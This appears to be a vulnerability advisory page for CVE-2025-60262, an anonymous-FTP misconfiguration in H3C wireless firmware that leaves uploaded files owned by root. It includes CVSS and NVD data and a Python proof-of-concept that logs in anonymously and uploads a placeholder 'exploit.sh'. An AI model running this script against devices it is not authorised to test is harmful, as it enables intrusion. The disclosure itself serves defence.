Security Vulnerability Report
中文
CVE-2025-60262 CVSS 9.8 CRITICAL

CVE-2025-60262

Published: 2026-01-06 16:15:51
Last Modified: 2026-01-29 01:36:22

Description

An issue in H3C M102G HM1A0V200R010 wireless controller and BA1500L SWBA1A0V100R006 wireless access point, there is a misconfiguration vulnerability about vsftpd. Through this vulnerability, all files uploaded anonymously via the FTP protocol is automatically owned by the root user and remote attackers could gain root-level control over the devices.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:h3c:mc102-g_firmware:hm1a0v200r010:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:h3c:mc102-g:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:h3c:magic_ba1500l_firmware:swba1a0v100r006:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:h3c:magic_ba1500l:-:*:*:*:*:*:*:* - NOT VULNERABLE
H3C M102G HM1A0V200R010 所有版本
H3C BA1500L SWBA1A0V100R006 所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60262 PoC - H3C vsftpd Anonymous Root File Upload # Affected: H3C M102G HM1A0V200R010, BA1500L SWBA1A0V100R006 import socket import sys def ftp_anonymous_login(host, port=21): """Connect to FTP server and attempt anonymous login""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) resp = sock.recv(1024) print(f"[+] Server response: {resp.decode().strip()}") # Send USER command with anonymous sock.send(b"USER anonymous\r\n") resp = sock.recv(1024) print(f"[+] USER response: {resp.decode().strip()}") # Send PASS command with any email sock.send(b"PASS [email protected]\r\n") resp = sock.recv(1024) print(f"[+] PASS response: {resp.decode().strip()}") if "230" in resp.decode(): print("[+] Anonymous login successful!") return sock return None except Exception as e: print(f"[-] Connection error: {e}") return None def upload_file(sock, filename, content): """Upload file via FTP in passive mode""" try: # Enter passive mode sock.send(b"PASV\r\n") resp = sock.recv(1024) print(f"[+] PASV response: {resp.decode().strip()}") # Extract data port from response # Format: 227 Entering Passive Mode (h1,h2,h3,h4,p1,p2) if "227" in resp.decode(): # Parse IP and port import re match = re.search(r'\((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\)', resp.decode()) if match: data_ip = f"{match.group(1)}.{match.group(2)}.{match.group(3)}.{match.group(4)}" data_port = int(match.group(5)) * 256 + int(match.group(6)) # Start data connection data_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) data_sock.connect((data_ip, data_port)) # Send STOR command sock.send(f"STOR {filename}\r\n".encode()) resp = sock.recv(1024) print(f"[+] STOR response: {resp.decode().strip()}") # Upload content data_sock.send(content.encode()) data_sock.close() resp = sock.recv(1024) print(f"[+] Upload complete: {resp.decode().strip()}") return True return False except Exception as e: print(f"[-] Upload error: {e}") return False def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-60262.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2025-60262 on {target}") # Step 1: Anonymous login ftp_sock = ftp_anonymous_login(target) if not ftp_sock: print("[-] Failed to login anonymously") sys.exit(1) # Step 2: Upload malicious file # This file will be owned by root due to the misconfiguration malicious_content = "#!/bin/bash\n# Malicious script - will be executed with root privileges\n" upload_file(ftp_sock, "exploit.sh", malicious_content) # Step 3: Cleanup ftp_sock.send(b"QUIT\r\n") ftp_sock.close() print("[*] Exploitation complete - check if file is owned by root") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60262", "sourceIdentifier": "[email protected]", "published": "2026-01-06T16:15:51.490", "lastModified": "2026-01-29T01:36:21.693", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in H3C M102G HM1A0V200R010 wireless controller and BA1500L SWBA1A0V100R006 wireless access point, there is a misconfiguration vulnerability about vsftpd. Through this vulnerability, all files uploaded anonymously via the FTP protocol is automatically owned by the root user and remote attackers could gain root-level control over the devices."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:h3c:mc102-g_firmware:hm1a0v200r010:*:*:*:*:*:*:*", "matchCriteriaId": "83E0EE7F-18D5-4D87-AEFB-3D91C2008C1B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:h3c:mc102-g:-:*:*:*:*:*:*:*", "matchCriteriaId": "EB6DBB2E-D058-44E0-87E7-FF094CDB8525"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:h3c:magic_ba1500l_firmware:swba1a0v100r006:*:*:*:*:*:*:*", "matchCriteriaId": "3A7AF675-6DB5-4EB7-B269-1DF4AD3E759D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:h3c:magic_ba1500l:-:*:*:*:*:*:*:*", "matchCriteriaId": "A16277A5-939B-4F9E-93F2-1E8504E43A92"}]}]}], "references": [{"url": "https://www.notion.so/23e54a1113e780d686fbe1624ee0465d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.notion.so/Misconfiguration-in-H3C-23e54a1113e780d686fbe1624ee0465d", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}